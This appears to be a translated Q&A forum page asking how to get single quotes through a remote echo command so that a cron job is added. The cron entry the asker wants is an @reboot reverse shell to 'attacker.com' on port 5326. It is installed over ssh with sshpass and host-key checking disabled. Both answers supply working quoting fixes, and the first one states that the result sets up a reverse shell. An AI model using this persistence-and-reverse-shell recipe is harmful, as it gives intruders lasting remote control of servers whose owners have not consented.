Как передать одинарную кавычку через команду echo с двойными кавычками в сценарии, чтобы добавить задание cron - PullRequest
0 голосов
/ 31 марта 2019

У меня есть скрипт для обновления задания cron на удаленном сервере, к которому обращается ssh. Я не могу получить одинарную кавычку для задания cron из команды echo, запущенной в моем скрипте bash.

Это именно та строка, которая мне нужна в моей работе cron:

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

Но я не могу заставить их "прилипать".

Это строка в моем скрипте (другие строки работают просто отлично.

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

Результатом этой попытки является ...

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

... без кавычек.

Я пробовал несколько двойных кавычек. Одинарные кавычки в двойных кавычках. Slashes.

В этой ситуации, как можно вставить одинарные кавычки в мой скрипт, чтобы они оказались на работе cron?

Ответы [ 2 ]

0 голосов
/ 16 апреля 2019

Если вам не нужно, чтобы это было красиво, вы можете попросить Bash сделать это:

#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"

Вывод этого скрипта:

The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME

И действительно, если вы скопируете и вставите эту команду, вы найдете файл TEMPFILENAME, содержащий:

@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1

Что, в свою очередь, при вставке копии в приглашение настроит обратную оболочку.

0 голосов
/ 31 марта 2019

Можете ли вы попробовать после экранирования одинарных кавычек с помощью '\'?

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...